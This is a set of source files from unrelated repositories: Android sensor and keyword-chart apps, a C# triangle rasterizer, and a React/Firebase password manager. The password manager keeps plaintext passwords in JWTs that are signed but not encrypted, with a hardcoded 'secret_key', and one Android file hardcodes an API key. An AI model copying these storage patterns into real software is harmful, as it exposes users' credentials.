findViewById(R.id.nav_view); navigationView.setNavigationItemSelectedListener(this); View headerLayout = navigationView.inflateHeaderView(R.layout.nav_header_main); mUserText = (TextView)headerLayout.findViewById(R.id.userTextView); mUserText.setText(userValue); f1 = new NewFragment(); f2 = new ReportFragment(); f5 = new KeywordFragment(); f6 = new UserFragment(); Bundle bundle = new Bundle(); bundle.putString("str", userValue); f6.setArguments(bundle); //如果transaction commit()过 那么我们要重新得到transaction transaction = manager.beginTransaction(); transaction.replace(R.id.fl_content, f1); transaction.commit(); } @Override public void onBackPressed() { DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout); if (drawer.isDrawerOpen(GravityCompat.START)) { drawer.closeDrawer(GravityCompat.START); } else { super.onBackPressed(); } } @SuppressWarnings("StatementWithEmptyBody") @Override public boolean onNavigationItemSelected(MenuItem item) { manager = getSupportFragmentManager(); transaction = manager.beginTransaction(); // Handle navigation view item clicks here. //hideFragment(transaction); int id = item.getItemId(); if (id == R.id.nav_new) { transaction.replace(R.id.fl_content, f1); } else if (id == R.id.nav_report) { transaction.replace(R.id.fl_content, f2); } else if (id == R.id.nav_keyword) { transaction.replace(R.id.fl_content, f5); } else if (id == R.id.nav_user) { transaction.replace(R.id.fl_content, f6); } transaction.commit(); DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout); drawer.closeDrawer(GravityCompat.START); return true; } /* * 去除(隐藏)所有的Fragment * */ private void hideFragment(FragmentTransaction transaction) { if (f1 != null) { transaction.hide(f1); //transaction.remove(f1); } } } <file_sep>/app/src/main/java/com/example/fanhongyi/croopinion/UserFragment.java package com.example.fanhongyi.croopinion; import android.content.Intent; import android.support.v4.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import static com.example.fanhongyi.croopinion.R.id.textView1; /** * Created by FANHONGYI on 2017/6/27. */ public class UserFragment extends Fragment{ @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.user_fragment, container,false); TextView t = (TextView) view.findViewById(R.id.userTextView); Bundle bundle = getArguments();//从activity传过来的Bundle if(bundle!=null){ t.setText(bundle.getString("str")); } return view; } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); Button button = (Button) getActivity().findViewById(R.id.button2); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getActivity(), "Clicked", Toast.LENGTH_LONG).show(); Intent intent = new Intent(getActivity(), LoginActivity.class); startActivity(intent); } }); } } <file_sep>/app/src/main/java/com/example/fanhongyi/croopinion/KeywordFragment.java package com.example.fanhongyi.croopinion; import android.content.Intent; import android.graphics.Color; import android.os.AsyncTask; import android.support.v4.app.Fragment; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import com.github.mikephil.charting.charts.LineChart; import com.github.mikephil.charting.components.Legend; import com.github.mikephil.charting.components.XAxis; import com.github.mikephil.charting.components.YAxis; import com.github.mikephil.charting.data.Entry; import com.github.mikephil.charting.data.LineData; import com.github.mikephil.charting.data.LineDataSet; import com.github.mikephil.charting.interfaces.datasets.ILineDataSet; import com.ns.developer.tagview.entity.Tag; import com.ns.developer.tagview.widget.TagCloudLinkView; import java.net.URL; import java.util.ArrayList; import java.util.List; import java.util.Random; import static com.example.fanhongyi.croopinion.MainActivity.data; import static com.example.fanhongyi.croopinion.R.id.lineChart; /** * Created by FANHONGYI on 2017/6/27. */ public class KeywordFragment extends Fragment{ private EditText mTopic=null; private TagCloudLinkView userTags; private LineChart mChart; private List<ILineDataSet> dataSets = new ArrayList<>(); private final int DATA_COUNT = 7; //设置折线图横跨距离 public static String keywordData="{\"frequency\":[7,6,5,4,3,2,1]}"; public static float[] keywordFrequency=new float[7]; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.keyword_fragment, container,false); mTopic = (EditText)view.findViewById(R.id.editTopic); userTags = (TagCloudLinkView) view.findViewById(R.id.userTags); userTags.drawTags(); userTags.setOnTagSelectListener(new TagCloudLinkView.OnTagSelectListener(){ @Override public void onTagSelected(Tag tag, int i) { //Toast.makeText(getActivity(), tag.getText()+"点击", Toast.LENGTH_LONG).show(); //System.out.println(dataSets.get(0)); } }); userTags.setOnTagDeleteListener(new TagCloudLinkView.OnTagDeleteListener() { @Override public void onTagDeleted(Tag tag, int i) { Toast.makeText(getActivity(), tag.getText()+"删除", Toast.LENGTH_LONG).show(); //LineDataSet dataSet=new LineDataSet(getChartData(DATA_COUNT), s); for(int j=0;j<dataSets.size();j++){ if(dataSets.get(j).getLabel().equals(tag.getText())) dataSets.remove(j); } LineData data = new LineData(getLabels(DATA_COUNT), dataSets); mChart.setData(data); mChart.notifyDataSetChanged(); showChart(); } }); mChart = (LineChart) view.findViewById(lineChart); showChart(); return view; } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); Button button = (Button) getActivity().findViewById(R.id.selectButton); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if(!mTopic.getText().toString().equals("")) addTag(mTopic.getText().toString()); } }); } private LineData getLineData(String s){ //Log.i("testStrings",s); LineDataSet dataSet=new LineDataSet(getChartData(DATA_COUNT), s); //设置折线数据 getChartData返回一个List<Entry>键值对集合标识 折线点的横纵坐标,"A"代表折线标识 dataSet.setColor(getRandomColor()); dataSet.setCircleColor(Color.BLACK); dataSet.setDrawCircleHole(false); dataSets.add(dataSet); LineData data = new LineData(getLabels(DATA_COUNT), dataSets); return data; // 返回LineData类型数据,该类型由标识X轴单位 List<String>的 集合和一个标识折线数据的List<ILineDataSet>组成 } private List<Entry> getChartData(int count){ List<Entry> chartData = new ArrayList<>(); for(int i=0;i<count;i++){ //chartData.add(new Entry((float) (Math.random() * 20) + 3, i)); chartData.add(new Entry(KeywordFragment.keywordFrequency[i], i)); } return chartData; } private List<String> getLabels(int count){ List<String> chartLabels = new ArrayList<>(); for(int i=0;i<count;i++) { chartLabels.add(i+""); } return chartLabels; } private void addTag(String topic){ // String data = "",keywordData=""; // try { // URL u = NetUtils.buildKeywordUrl(topic); // data = NetUtils.getResponseFromKeywordHttpUrl(u); // keywordData = data; // } catch (Exception e) { // e.printStackTrace(); // //return null; // } // while(keywordData.equals("")){ // try{ // Thread.currentThread().sleep(1000); // Log.i("Sleep","Waiting"); // }catch(InterruptedException ie){ // ie.printStackTrace(); // } // } NetUtils.processKeywordData(keywordData); Toast.makeText(getActivity(), "\""+topic+"\""+"已添加", Toast.LENGTH_LONG).show(); userTags.add(new Tag(1,topic)); userTags.drawTags(); mChart.setData(getLineData(topic)); mTopic.setText(""); keywordData=""; for(int i = 0; i < 7; i++) keywordFrequency[i]=0; } private void showChart(){ mChart.setDrawBorders(false); //是否在折线图上添加边框 // no description text mChart.setDescription("");// 数据描述 // 如果没有数据的时候,会显示这个,类似listview的emtpyview mChart.setNoDataTextDescription("You need to provide data for the chart."); // enable / disable grid background mChart.setDrawGridBackground(true); // 是否显示表格颜色 mChart.setGridBackgroundColor(Color.WHITE); // 表格的的颜色,在这里是是给颜色设置一个透明度 // enable touch gestures mChart.setTouchEnabled(false); // 设置是否可以触摸 // enable scaling and dragging mChart.setDragEnabled(false);// 是否可以拖拽 mChart.setScaleEnabled(false);// 是否可以缩放 XAxis xAxis = mChart.getXAxis(); // 不显示y轴 xAxis.setDrawAxisLine(false); // 不从y轴发出横向直线 xAxis.setDrawGridLines(false); YAxis leftAxis = mChart.getAxisLeft(); // 不显示y轴 leftAxis.setDrawAxisLine(false); // 不从y轴发出横向直线 leftAxis.setDrawGridLines(false); YAxis rightAxis = mChart.getAxisRight(); // 不显示y轴 rightAxis.setDrawAxisLine(false); // 不从y轴发出横向直线 rightAxis.setDrawGridLines(false); mChart.getAxisRight().setEnabled(false); // 隐藏右边 的坐标轴 mChart.getXAxis().setPosition(XAxis.XAxisPosition.BOTTOM); // 让x轴在下面 // if disabled, scaling can be done on x- and y-axis separately mChart.setPinchZoom(false);// //lineChart.setBackgroundColor(Color.WHITE);// 设置背景 // add data // mChart.setData(lineData); // 设置数据 // get the legend (only possible after setting data) Legend mLegend = mChart.getLegend(); // 设置比例图标示,就是那个一组y的value的 // modify the legend ... // mLegend.setPosition(LegendPosition.LEFT_OF_CHART); mLegend.setEnabled(true); mLegend.setForm(Legend.LegendForm.SQUARE);// 样式 mLegend.setFormSize(6f);// 字体 mLegend.setTextColor(Color.BLACK);// 颜色 // mLegend.setTypeface(mTf);// 字体 mChart.animateX(2500); // 立即执行的动画,x轴 } public int getRandomColor(){ Random rnd = new Random(); return Color.argb(255, rnd.nextInt(256), rnd.nextInt(256), rnd.nextInt(256)); } } <file_sep>/app/src/main/java/com/example/fanhongyi/croopinion/NetUtils.java package com.example.fanhongyi.croopinion; /** * Created by FANHONGYI on 2017/7/14. */ import android.content.Context; import android.net.Uri; import android.util.Log; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.util.Scanner; public class NetUtils { //http://api.openweathermap.org/data/2.5/forecast/daily?q=Changsha&mode=json&unit=metric&cnt=7&APPID=04308f28de794253444ecc10eca4f1ac private static final String BASE_URL = ""; /* The format we want our API to return */ private static final String format = "json"; /* The units we want our API to return */ private static final String units = "metric"; /* The number of days we want our API to return */ private static final int numDays = 14; /* The format parameter allows us to designate whether we want JSON or XML from our API */ private static final String FORMAT_PARAM = "mode"; /* The units parameter allows us to designate whether we want metric units or imperial units */ private static final String UNITS_PARAM = "units"; /* The days parameter allows us to designate how many days of weather data we want */ private static final String DAYS_PARAM = "cnt"; private static final String APPID_PARAM = "APPID"; public static URL buildUrl() { Uri weatherQueryUri = Uri.parse(BASE_URL).buildUpon() .appendQueryParameter(FORMAT_PARAM, format) .appendQueryParameter(UNITS_PARAM, units) .appendQueryParameter(DAYS_PARAM, Integer.toString(numDays)) .appendQueryParameter(APPID_PARAM, "04308f28de794253444ecc10eca4f1ac") .build(); try { URL weatherQueryUrl = new URL(weatherQueryUri.toString()); return weatherQueryUrl; } catch (MalformedURLException e) { e.printStackTrace(); return null; } } public static String getResponseFromHttpUrl(URL url) throws IOException { HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); try { InputStream in = urlConnection.getInputStream(); Scanner scanner = new Scanner(in); scanner.useDelimiter("\\A"); boolean hasInput = scanner.hasNext(); String response = null; if (hasInput) { response = scanner.next(); } scanner.close(); return response; } finally { urlConnection.disconnect(); } } public static void processData(String data) { if(data != null && data.startsWith("\ufeff")) { data = data.substring(1); } try { JSONObject json = new JSONObject(data); JSONArray keywordsArray=json.getJSONArray("keywords"); for(int i = 0; i < 10; i++){ MainActivity.newTopic[i]=keywordsArray.getString(i); } JSONArray tendencyArray=json.getJSONArray("tendency"); for(int i = 0; i < 3; i++){ MainActivity.reportTendency[i]=(float)tendencyArray.getDouble(i); } JSONArray frequencyArray=json.getJSONArray("frequency"); for(int i = 0; i < 7; i++){ MainActivity.reportFrequency[i]=(float)frequencyArray.getDouble(i); } } catch(JSONException e) { Log.wtf("json", e); } } public static URL buildKeywordUrl(String keyword) { Uri weatherQueryUri = Uri.parse(BASE_URL).buildUpon() .appendQueryParameter(FORMAT_PARAM, format) .appendQueryParameter(UNITS_PARAM, units) .appendQueryParameter(DAYS_PARAM, Integer.toString(numDays)) .appendQueryParameter(APPID_PARAM, "04308f28de794253444ecc10eca4f1ac") .build(); try { URL weatherQueryUrl = new URL(weatherQueryUri.toString()); return weatherQueryUrl; } catch (MalformedURLException e) { e.printStackTrace(); return null; } } public static String getResponseFromKeywordHttpUrl(URL url) throws IOException { HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); try { InputStream in = urlConnection.getInputStream(); Scanner scanner = new Scanner(in); scanner.useDelimiter("\\A"); boolean hasInput = scanner.hasNext(); String response = null; if (hasInput) { response = scanner.next(); } scanner.close(); return response; } finally { urlConnection.disconnect(); } } public static void processKeywordData(String data) { if(data != null && data.startsWith("\ufeff")) { data = data.substring(1); } try { JSONObject json = new JSONObject(data); JSONArray frequencyArray=json.getJSONArray("frequency"); for(int i = 0; i < 7; i++){ KeywordFragment.keywordFrequency[i]=(float)frequencyArray.getDouble(i); } } catch(JSONException e) { Log.wtf("json", e); } } }
db338b2d37ee06591ead438071fca46f7bf47c15
[ "Java" ]
4
Java
PDCPInCSU/Android
777f28ab5586cca51b842359bb717933c8a0dced
6160ee4934aca80f3b8c01488b627a90d774b568
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; //using System.Windows.Media; //using System.Windows.Media.Imaging; using System.Diagnostics; using System.Threading; using System.IO; using System.Drawing.Imaging; namespace RasterTraceRenderer { public partial class Form1 : Form { static double FT = 0; Stopwatch sw = new Stopwatch(); static int FPS = 60; double deltat = 0; bool done = false; long tpf = TimeSpan.TicksPerSecond / FPS; static byte[,,] backbuffer; static Random rand = new Random(); public struct Tri { private Utils.Vec[] verts; public Utils.Vec this[int i] { get { return verts[i]; } set { verts[i] = value; } } public void INIT() { verts = new Utils.Vec[3]; } public void Fill() { Utils.Vec p1 = this[0]; Utils.Vec p2 = this[1]; Utils.Vec p3 = this[2]; Utils.Vec t = p3; if (p3.y < p2.y) { p3 = p2; p2 = t; } if (p2.y < p1.y) { t = p2; p2 = p1; p1 = t; } if (p3.y < p2.y) { t = p3; p3 = p2; p2 = t; } double q = 0; double p = 0; double dy1 = p2.y - p1.y; double dy2 = p3.y - p1.y; double dy3 = p3.y - p2.y; if (p1.y != p2.y) { for (int y = (int)p1.y; y <= (int)p2.y; y++) { double ay1 = (y - p1.y) / dy1; double ay2 = (y - p1.y) / dy2; double x1 = (1 - ay1) * p1.x + ay1 * p2.x; double x2 = (1 - ay2) * p1.x + ay2 * p3.x; q = Math.Min(x1, x2); p = Math.Max(x1, x2); x1 = q; x2 = p; double z1 = (1 - ay1) * p1.z + ay1 * p2.z; double z2 = (1 - ay2) * p1.z + ay2 * p3.z; double dx = x2 - x1; for (int x = (int)x1; x <= (int)x2; x++) { double ax = (x - x1) * (1 / dx); double z = 255 - ((1 - ax) * z1 + ax * z2); backbuffer[x, y, 0] = (byte)z; backbuffer[x, y, 1] = (byte)z; backbuffer[x, y, 2] = (byte)z; } } } if (p2.y != p3.y) { for (int y = (int)p2.y; y <= (int)p3.y; y++) { double ay1 = (y - p2.y) / dy3; double ay2 = (y - p1.y) / dy2; double x1 = (1 - ay1) * p2.x + ay1 * p3.x; double x2 = (1 - ay2) * p1.x + ay2 * p3.x; q = Math.Min(x1, x2); p = Math.Max(x1, x2); x1 = q; x2 = p; double z1 = (1 - ay1) * p2.z + ay1 * p3.z; double z2 = (1 - ay2) * p1.z + ay2 * p3.z; double dx = x2 - x1; for (int x = (int)x1; x <= (int)x2; x++) { double ax = (x - x1) * (1 / dx); double z = 255 - ((1 - ax) * z1 + ax * z2); backbuffer[x, y, 0] = (byte)z; backbuffer[x, y, 1] = (byte)z; backbuffer[x, y, 2] = (byte)z; } } } } } public struct Mesh { public Tri[] tris; } public void Updog() { } Tri tester = new Tri(); public Bitmap Draw() { Bitmap drawBuffer = new Bitmap(img.Width, img.Height); BitmapData dat = drawBuffer.LockBits(new Rectangle(0, 0, drawBuffer.Width, drawBuffer.Height), ImageLockMode.ReadWrite, PixelFormat.Format32bppRgb); IntPtr Scan0 = dat.Scan0; int stride = dat.Stride; int h = drawBuffer.Height; int w = drawBuffer.Width; tester.Fill(); unsafe { byte* p = (byte*)(void*)Scan0; int offset = stride - drawBuffer.Width * 4; for (int y = 0; y < h; ++y) { for (int x = 0; x < w; ++x) { //Blue p[0] = backbuffer[x, y, 2]; //Green p[1] = backbuffer[x, y, 1]; //Red p[2] = backbuffer[x, y, 0]; //Next Pixel p += 4; } p += offset; } } drawBuffer.UnlockBits(dat); return drawBuffer; } public async void GameLoop() { while (!done) { deltat = (double)(sw.ElapsedTicks) / Stopwatch.Frequency; sw.Restart(); FT += deltat; Text = $"FPS: {(int)(1 / Math.Max(0.00001, deltat))}"; Updog(); img.Image = await Task.Run(() => Draw()); img.Refresh(); //TimeSpan ts = new TimeSpan(Math.Max(0, (tpf - sw.ElapsedTicks))); //Thread.Sleep(ts); } } public Form1() { InitializeComponent(); } public void REfRESH() { img.Refresh(); } private void Form1_Load(object sender, EventArgs e) { tester.INIT(); backbuffer = new byte[img.Width, img.Height, 3]; tester[0] = new Utils.Vec(new double[] { 20, 20, 0 }); tester[1] = new Utils.Vec(new double[] { 170, 70, 127 }); tester[2] = new Utils.Vec(new double[] { 70, 170, 255 }); GameLoop(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace RasterTraceRenderer { public class Utils { public static void Log(dynamic input) { Console.WriteLine(input); } public struct Vec { private double[] _v; public double this[int i] { get { return _v[i]; } set { _v[i] = value; } } public double x { get { return _v[0]; } set { _v[0] = value; } } public double y { get { return _v[1]; } set { _v[1] = value; } } public double z { get { return _v[2]; } set { _v[2] = value; } } public double w { get { return _v[3]; } set { _v[3] = value; } } public double v { get { return _v[4]; } set { _v[4] = value; } } public double u { get { return _v[5]; } set { _v[5] = value; } } public double t { get { return _v[6]; } set { _v[6] = value; } } public int dims { get { return _v.Length; } } public string Print { get { string output = $"< {_v[0]}"; for (int i = 1; i < dims; i++) { output += $" {_v[i]}"; } output += " >"; return output; } } public double magsqrd { get { return this * this; } } public double mag { get { return Math.Sqrt(magsqrd); } } public Vec(int dims) { _v = new double[dims]; } public Vec(double[] set) { _v = set; } public static double operator *(Vec a, Vec b) { double c = 0; for (int i = 0; i < a.dims; i++) { c += a[i] * b[i]; } return c; } public static Vec operator *(Vec a, double b) { Vec c = a; for (int i = 0; i < c.dims; i++) { c[i] = a[i] * b; } return c; } public static Vec operator *(double a, Vec b) { return b * a; } public static Vec operator /(Vec a, double b) { return a * (1 / b); } public static Vec operator +(Vec a, Vec b) { Vec c = a; for (int i = 0; i < c.dims; i++) { c[i] += b[i]; } return c; } public static Vec operator -(Vec a, Vec b) { Vec c = a; for (int i = 0; i < c.dims; i++) { c[i] -= b[i]; } return c; } } } }
6f87293c1b42e3ec8b2431e448de0e5860ca996e
[ "C#" ]
2
C#
Raxmo/RasterTraceRenderer
71fa62f3caaa7df942ca1ee04fcd859a86cda662
209fd22b35968b1bd1800b52e1f511971be9bd45
refs/heads/master
<file_sep># vectorapp App to plot sensor data <file_sep>package com.nyu.ashwin.myappaccgraph; import android.hardware.Sensor; import android.hardware.SensorEvent; import android.hardware.SensorEventListener; import android.hardware.SensorManager; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.widget.TextView; import com.jjoe64.graphview.GraphView; import com.jjoe64.graphview.Viewport; import com.jjoe64.graphview.series.DataPoint; import com.jjoe64.graphview.series.LineGraphSeries; import java.util.Random; import static android.util.FloatMath.cos; import static android.util.FloatMath.sin; import static android.util.FloatMath.sqrt; public class MainActivity extends ActionBarActivity { Sensor accelerometer, gyroscope, orientation; SensorManager sm; TextView display; float x, y, z; float X, Y, Z, X1, Y1, Z1; private static final float NS2S = 1.0f / 1000000000.0f; private final float[] deltaRotationVector = new float[4]; float gravity1,gravity2,gravity3; private float timestamp; float axisX, axisY, axisZ; private static final Random RANDOM = new Random(); private int lastX=0; private LineGraphSeries<DataPoint> series; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); sm=(SensorManager)getSystemService(SENSOR_SERVICE); accelerometer=sm.getDefaultSensor(Sensor.TYPE_ACCELEROMETER); gyroscope=sm.getDefaultSensor(Sensor.TYPE_GYROSCOPE); orientation=sm.getDefaultSensor(Sensor.TYPE_ORIENTATION); sm.registerListener(accelerationListener,accelerometer,SensorManager.SENSOR_STATUS_ACCURACY_HIGH); sm.registerListener(gyroscopeListener,gyroscope,SensorManager.SENSOR_STATUS_ACCURACY_HIGH); sm.registerListener(orientationListener, orientation, SensorManager.SENSOR_STATUS_ACCURACY_HIGH); display=(TextView)findViewById(R.id.display); GraphView graph = (GraphView)findViewById(R.id.graph); series = new LineGraphSeries<DataPoint>(); graph.addSeries(series); Viewport viewport = graph.getViewport(); viewport.setYAxisBoundsManual(true); viewport.setMaxY(360); viewport.setMinY(-360); viewport.setMinX(0); viewport.setMaxX(10); viewport.setScrollable(true); } private SensorEventListener accelerationListener = new SensorEventListener() { @Override public void onSensorChanged(SensorEvent event) { final float alpha = (float) 0.8; gravity1 = alpha * gravity1 + (1 - alpha) * event.values[0]; gravity2 = alpha * gravity2 + (1 - alpha) * event.values[1]; gravity3 = alpha * gravity3 + (1 - alpha) * event.values[2]; x = event.values[0] - gravity1; y = event.values[1] - gravity2; z = event.values[2] - gravity3; refresh(); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) { } }; private SensorEventListener orientationListener = new SensorEventListener() { @Override public void onSensorChanged(SensorEvent event) { Z = event.values[0]; X = event.values[1]; Y = event.values[2]; refresh(); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) { } }; private SensorEventListener gyroscopeListener = new SensorEventListener() { @Override public void onSensorChanged(SensorEvent event) { // This timestep's delta rotation to be multiplied by the current rotation // after computing it from the gyro sample data. if (timestamp != 0) { final float dT = (event.timestamp - timestamp) * NS2S; // Axis of the rotation sample, not normalized yet. axisX = event.values[0]; axisY = event.values[1]; axisZ = event.values[2]; // Calculate the angular speed of the sample float omegaMagnitude = sqrt(axisX*axisX + axisY*axisY + axisZ*axisZ); // Normalize the rotation vector if it's big enough to get the axis if (omegaMagnitude > 0) { axisX /= omegaMagnitude; axisY /= omegaMagnitude; axisZ /= omegaMagnitude; } // Integrate around this axis with the angular speed by the timestep // in order to get a delta rotation from this sample over the timestep // We will convert this axis-angle representation of the delta rotation // into a quaternion before turning it into the rotation matrix. float thetaOverTwo = omegaMagnitude * dT / 2.0f; float sinThetaOverTwo = sin(thetaOverTwo); float cosThetaOverTwo = cos(thetaOverTwo); deltaRotationVector[0] = sinThetaOverTwo * axisX; deltaRotationVector[1] = sinThetaOverTwo * axisY; deltaRotationVector[2] = sinThetaOverTwo * axisZ; deltaRotationVector[3] = cosThetaOverTwo; } timestamp = event.timestamp; float[] deltaRotationMatrix = new float[9]; SensorManager.getRotationMatrixFromVector(deltaRotationMatrix, deltaRotationVector); // User code should concatenate the delta rotation we computed with the current rotation // in order to get the updated rotation. // rotationCurrent = rotationCurrent * deltaRotationMatrix; refresh(); } @Override public void onAccuracyChanged(Sensor sensor, int accuracy) { } }; private void refresh(){ String Output = String.format("LIN_ACC X: %f \n LIN_ACC Y: %f \n LIN_ACC Z: %f \n YAW: %f\n PITCH: %f\n ROLL: %f\n X: %f\n Y: %f\n Z: %f\n W: %f\n",x,y,z,X,Y,Z,deltaRotationVector[0],deltaRotationVector[1],deltaRotationVector[2],deltaRotationVector[3]); display.setText(Output); } @Override protected void onResume() { super.onResume(); new Thread(new Runnable(){ @Override public void run() { for(int i=0;i<10000;i++){ runOnUiThread(new Runnable(){ public void run(){ addEntry(); } }); try { Thread.sleep(100); } catch (InterruptedException e) { } } } }).start(); } private void addEntry() { series.appendData(new DataPoint(lastX++, X), true, 10); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.menu_main, menu); return true; } @Override public boolean onOptionsItemSelected(MenuItem item) { // Handle action bar item clicks here. The action bar will // automatically handle clicks on the Home/Up button, so long // as you specify a parent activity in AndroidManifest.xml. int id = item.getItemId(); //noinspection SimplifiableIfStatement if (id == R.id.action_settings) { return true; } return super.onOptionsItemSelected(item); } }
614cd83b0832dbfb44d4c3400ecbae79b4dd4d38
[ "Markdown", "Java" ]
2
Markdown
ExoStrokeRehab/vectorapp
9d702f42cfef727ac3bf9b45d8d5162a30d9ea82
b20fe9b94108e4fb5c6af2c83482930b8d2c66b7
refs/heads/master
<repo_name>kevinhimawan/react-password-manager<file_sep>/client/src/components/Home/Modalverify.jsx import React, { Component } from 'react'; export default class Verify extends Component { constructor() { super() this.state = ({ password: '', }) } onChange = (e) => { this.setState({ password: e.target.value }) } submitpassword = () => { this.props.checkpassword(this.state.password) } render() { return ( <div id="showPass" className="modal" tabindex="-1" role="dialog"> <div className="modal-dialog" role="document"> <div className="modal-content"> <div className="modal-header"> <h5 className="modal-title">General Password</h5> <button type="button" className="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;</span> </button> </div> <div className="modal-body"> <form> <div className="form-group"> <label>Password</label> <input onChange={this.onChange} type="password" className="form-control"/> </div> <button data-dismiss="modal" onClick={this.submitpassword} className="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> ) } };<file_sep>/client/src/store/user.action/action.Action.js import db from '../firebase' import { ASSIGN_DATA, ASSIGN_CREATE, SIGN_OUT, OPEN_MODAL_ADD } from './action.actionTypes' import swal from 'sweetalert' import jwt from 'jsonwebtoken' import { decode } from 'punycode'; const bcryptjs = require('bcryptjs') const saltRounds = 10 const UserRef = db.ref('User') let userid = localStorage.getItem('userid') export const getAllData = (payload) => { return dispatch => { UserRef.child(payload).once('value').then((snapshot) => { const user = snapshot.val() if (user && user.data) { const newArray = Object.keys(user.data).map(key => ({ value: user.data[key], id: key })) dispatch(assign_data(newArray)) } }) } } const assign_data = (data) => ({ type: ASSIGN_DATA, payload: data }) export const postManage = (payload) => { return dispatch => { let salt = bcryptjs.genSaltSync(saltRounds); let hash = bcryptjs.hashSync(payload.form.password, salt); let blank = '' for (let i = 0; i < payload.form.password.length; i++) { blank+= '*' } UserRef.child(payload.userid).child('data').push({ url: payload.form.url, username: payload.form.username, password: <PASSWORD>, blankPass: <PASSWORD>, created: payload.form.created, updated: payload.form.updated, }) .then(response => { UserRef.child(payload.userid).once('value').then((snapshot) => { const user = snapshot.val() const newArray = Object.keys(user).map(key => ({ value: snapshot.val()[key], id: key })) if (user.token) { let {tokens} = jwt.verify(user.token, 'secret_key') let obj = { url: payload.form.url, username: payload.form.username, password: <PASSWORD>.form.password, } tokens.push(obj) let newToken = jwt.sign({tokens}, 'secret_key') UserRef.child(payload.userid).child('token').set(newToken) } else { let tokens = [] let obj = { url: payload.form.url, username: payload.form.username, password: <PASSWORD>, } tokens.push(obj) let token = jwt.sign({tokens}, 'secret_key') UserRef.child(payload.userid).child('token').set(token) } if (user && user.data) { const newArray = Object.keys(user.data).map(key => ({ value: user.data[key], id: key })) dispatch(assign_created(newArray)) swal ({ title: 'Success', icon: 'success', button: 'OK' }) return 0 } }) .catch (err => { swal ({ title: 'Added has been error', icon: 'warning', button: 'OK' }) return 0 }) }) } } const assign_created = (data) => ({ type: ASSIGN_CREATE, payload: data }) export const openModalAdd = () => { return dispatch => { dispatch(open_modal_add()) } } const open_modal_add = () => ({ type: OPEN_MODAL_ADD }) export const deleteManage = (payload) => { return dispatch => { const {id, url, username} = payload UserRef.child(userid).child('data').child(id).set(null).then(response => { UserRef.child(userid).once('value').then((snapshot) => { const user = snapshot.val() console.log(user) const newArray = Object.keys(user).map(key => ({ value: snapshot.val()[key], id: key })) let {tokens} = jwt.verify(user.token, 'secret_key') let index; for (let i = 0; i < tokens.length; i++) { if (tokens[i].url === url && tokens[i].username === username) { index = i } } tokens.splice(index,1) if (tokens.length === 0) { UserRef.child(userid).child('token').set(null) } else { let token = jwt.sign({tokens}, 'secret_key') UserRef.child(userid).child('token').set(token) } if (user && user.data) { const newArray = Object.keys(user.data).map(key => ({ value: user.data[key], id: key })) dispatch(assign_created(newArray)) swal ({ title: 'Success', icon: 'success', button: 'OK' }) return 0 } else { let arrayBlank = [] dispatch(assign_created(arrayBlank)) swal ({ title: 'Success', icon: 'success', button: 'OK' }) } }) }) } } export const editManage = (payload) => { return dispatch => { let salt = bcryptjs.genSaltSync(saltRounds); let hash = bcryptjs.hashSync(payload.password, salt); let blank = '' for (let i = 0; i < payload.password.length; i++) { blank += '*' } let obj = { url: payload.url, username: payload.username, password: <PASSWORD>, blankPass: blank, updated: payload.updated } UserRef.child(userid).child('data').child(payload.listId).update(obj).then(response => { UserRef.child(userid).once('value').then((snapshot) => { const user = snapshot.val() const newArray = Object.keys(user).map(key => ({ value: snapshot.val()[key], id: key })) if (user && user.data) { const newArray = Object.keys(user.data).map(key => ({ value: user.data[key], id: key })) dispatch(assign_created(newArray)) swal ({ title: 'Success', icon: 'success', button: 'OK' }) return 0 } }) }) } } export const search = (payload) => { return dispatch => { let userid = localStorage.getItem('userid') UserRef.child(userid).once('value').then((snapshot) => { const user = snapshot.val() if (user && user.data) { const newArray = Object.keys(user.data).map(key => ({ value: user.data[key], id: key })) const dataFilter = newArray.filter(data => { if (data.value.url.indexOf(payload.value) !== -1 || data.value.username.indexOf(payload.value) !== -1 || data.value.updated.indexOf(payload.value) !== -1) { return data } }) dispatch(assign_created(dataFilter)) } }) } } export const passwordShow = (payload) => { return dispatch => { const {url, username, data} = payload UserRef.child(userid).once('value').then((snapshot) => { const {token} = snapshot.val() let {tokens} = jwt.verify(token, 'secret_key') let password; for (let i = 0; i < tokens.length; i++) { console.log(tokens) if (tokens[i].url === url && tokens[i].username === username) { password = tokens[i].password } } console.log(password) for (let i = 0; i < data.length; i++) { if (data[i].value.url === url && data[i].value.username === username) { data[i].value.blankPass = <PASSWORD> } } console.log(data) dispatch(assign_created(data)) 